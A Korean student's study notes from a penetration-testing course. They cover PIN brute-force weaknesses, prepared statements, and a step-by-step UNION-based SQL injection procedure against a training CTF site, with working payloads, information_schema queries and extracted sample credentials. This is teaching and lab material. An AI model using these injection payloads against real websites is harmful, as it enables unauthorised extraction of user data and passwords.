카테고리 없음

6주차 모의해킹 공부 이야기

h/bhacker 2024. 11. 27. 18:18

노력(고민하는 시간) (어떤 방식으로)

1강 문제 발생시 !

1) 문제의 원인을 찾기

2) > 문제가 해결

 

step by step

 

login 3,4 -> (어려울 수밖에 없음)
-> 직접 만들어 봐야 실력이 좋아짐

 

식별인증 동시

로그인 로직 케이스

 

burp how to modify response

 

문제를 풀고 나서 문제를 그대로 만들어 보기

어떻게 하면 저 문제처럼 풀리게 할 수 있을까?

 

**

여기서 발생한 문제점은 뭘까?

원인파악

 

이 핀코드가 크랙되었던 이유는 뭘까?

오류횟수 제한이 없다. . 시간제한이 없다

 

반대로 오류횟수에 제한을 두려면 어떻게 해야할까?

이것을 직접 만들어 보는 것이다. 이런 문제점이 발생하지 않게 시큐어 코딩(보안코딩)을 적용해보는 것이다.

그 다음에는 그 보안 코딩을 했던 것을 우회할 수 있는지 연구해 본다. 한치에 오차도 없이 우회가 될 수 없다고 결론이 나야 한다. 우리가 우회가 되네 하면 잘한 것이다, 그것을 우회가 되지 않게 막으면 된다.

 

SQL Injection 대응방안

: Prepared Statment(프리페얼드 스테이츠먼트)

Prepared Statment 이것을 사용하면 SQL Injection이 불가능 하다.

 

*SQL Injection : 인증 우회

 

-> 데이터 추출 방법에 대해 배울 것임

(어디에서?)

<1>DB 데이터를 사용하는 곳(이라고 판단되는 곳에서 한다.)

 

<2> 그 데이터가 화면에 나오는가? 안나오는가?

 

>데이터가 나온다: 게시판\

>안나온다ㅣ 로그인, 아이디 중복체크

 

웹페이지에 데이터가 나오는 경우에서 데이터를 추출하는 방법에 대해 공부할 것임

 

>원리는 화면에 게시판에 게시글을 읽을 수 있는 게시판이 있다.

DB에서 게시글 데이터를 가져와서 채우고 우리에게 응답해 줬구나.

우리는 SQL언어를 변경할 수 있으니 누구의 비밀번호를 보여워 이런 식으로 할 수 있다. 이런 원리를 이용하여 데이터를 화면에 출력하여 빼내는 것이다.

 

따라 해보기

 

 

 

 

만약 normaltic의 정보를 검색 하면 위처럼 나옴

 

 

‘or’1’=’1 이렇게 하면 전체 데이터가 나옴

위처럼 해서 조작할 수도 있다.

 

*만약!

게시판에서 SQL

select * from board

where idx= ‘_____’ or ‘1’=’1’(이것을 넣는다해도 board게시판에 있는 모든 데이터를 가져오는 것일 뿐이지 member(다른 곳에 있는 정보)에 있는데이터를 가져오는 것이 아님)

 

 

 

다른 테이블에 있는 데이터를 가져올 때에는

Union

Union을 사용하면 select문을 한번 더 사용할 수 있다

ex) (select ~~~~) union (select ~~~~) 이렇게

union을 사용하면 데이터를 이렇게 출력할 수 있다.

만약에

select pass from member 이렇게 실행하면

 

 

결과가 이렇게 나옴

 

select pass from member union select id from member 이렇게 실행하면

 

 

select id,pass from member union select 1,2

 

 

결과

12가 추가 되어 나옴

 

select id,pass from member union select ‘normaltic’, ‘test’

 

 

 

결과

normaltictest가 추가 됨

 

주의

컬럼 개수가 같아야 함

select id,pass from member union select id from member 이렇게 하면 컬럼 개수가 안 맞아 오류가 남

 

**중요**

**Must 지켜야 함**

(select ~) union (select ~)

unionselect2개 사용할 수 있는 것인데 앞에서 select하는 컬럼 개수와 뒤쪽에서 select 하는 개수는 똑같이 일치시켜야 한다.

 

컬럼 개수를 맞춰야 하기 때문에 우리가 할 수 있는 트릭이 하나 생겨난다

 

*Order by

정렬한다.

 

select id,pass from member order by id (id컬럼으로 정렬해줘라는 것임)

 

 

select id,pass from member order by psas(비밀번호 컬럼으로 정렬해줘)

 

 

 

 

*order by

: 출력되는 데이터를 정렬할 때 사용함 (오름차숨임)

사용방법

: select 맨 뒤에 적어주는 것이 원칙

select문 뒤에 order by 적고 [(정렬하기 원하는 ) column 이름]

(select~~~) order by [column 이름]

 

ex) select id from member order by id (id로 정렬하고 싶을 때)

 

select id,pass from member order by id

이렇게 적을 때 인덱스 번호를 적어도 됨

select id,pass from member order by 1 (1을 적으면 첫 번째 있는 id로 정렬이 됨)

 

select id,pass from member order by 2 (2를 적으면 두 번째 있는 pass로 정렬이 됨)

컬럼명을 몰라도 인덱스를 활용하여 할 수 도 있다.

 

select id,pass from member order by 3 (3을 적으면 정렬할 대상이 없어서 에러가 남)

 

____________________________________________________________________________________________

UNION SQL Inject

 

- UNION SQL Inject Process

1. SQL Inject 포인트 찾기

2. Column 개수 찾기

3. 출력되는 Column의 위치 찾기

4. DB의 이름 확인 하기

5. Table 이름 확인 하기

6. Column 이름 확인하기

7. Data 추출하기

 

1. SQL Inject 포인트 찾기

SQL lnjection이 되는지 안되는지 체크해봐야 된다.

내가 보낸 데이터가 머릿속에서 어떻게 보내지는지 그려본다. 머릿속에 그려졌다면 테스트를 해본다

ex) over%’and’1%’=’1 데이터 나옴

over%’and’1%’=’2 (거짓조건을 작성하면) 데이너 안나옴

이 것은 뒤에 작은 따옴표(‘)를 넣어서 sql을 조작할 수 있다는 것이다.

1번 체크 됨

 

(Union SQL Injection을 하려면)

2. Column 개수 찾기

over%’# (이렇게 사용하면 됨)

 

 

결과 (over로 검색한 결과와 같다)

 

over%’order by 1 #

 

 

결과

 

만약 우리가 select pass from member을 출력하고 싶다면

over%’ union select 1,pass,3,4 from member#

 

결과

----------------------------

4.DB이름 확인

방법은 대표적으로 두가지가 있음

첫 번째

select database()

우리가 데이터베이스 이름을 확인할 때 union을 사용해서 하면

over%’ union select 1,databass(),3,4 # (이렇게 할 수 있다)

4.DB이름 확인 : ex) segfault_sql

 

5.5. Table 이름 확인 하기

> information_schema.tables

 

테이블 이름을 확인 하는 SQL 질의문

SQL ex)

select table_name from information_schema.tables

where table_schema = ‘DB이름

 

union을 적용해서 작성하면

 

over%’ union select 1,table_name,3,4 from information_schema.tables where table_schema = ‘segfault_sql’# (1번 빼고 2,3,4 중 아무곳에 작성해도 됨)

 

over%’ union select 1,1,table_name from information_schema.tables where table_schema = ‘segfault_sql’,3,4 # (이렇게 작성하면 컬럼이 2개로 되어 컬럼 개수가 안맞아서 에러가 남 여기서는 컬럼개수는 4개임)

 

5. table 이름 확인하기 :

테이블 이름:

gane

member

secret

secret_member

 

 

6. column 이름 확인하기

ex) member

테이블 이름이 저장된 것처럼 컬럼 이름도 저장되어 있다. 확인 방법은

ex)
select column_name from information_schema.columns

where table_name = ‘테이블 이름

 

over%’ union select 1,column_name,3,4 from information_schema.columns where table_name = ‘member’ #

 

6. column 이름 확인하기 :

user_id

user_psaa

name

user_level

info

id

pass

email

 

 

7. Data 추출하기

만약 select id,pass from member을 하고 싶다 그러면

 

over%’ union select 1, id, pass, 4 from member #

 

7. Data 추출하기 :

doldol aaaa

fake qqqq

normaltic 1234

test test1234

 

 

______________________________________________________________________________________________

*과제!

[1] UNION SQL Injection 복습 [+] Web 개발

이 사이트에서 연습하기 > 로그인 페이지

http://ctf.segfaulthub.com:1020/sqlInjection3.php > 회원가입

> 마이페이지(내 정보 보기)

[2] doldol 데이터만 출력하기 (하나의 데이터만 나오로록 하기!!) > 게시판(파일 올리기 등 기능구현)

http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php

 

[3] CTF문제 풀기

SQL Injection 12반 문제 풀기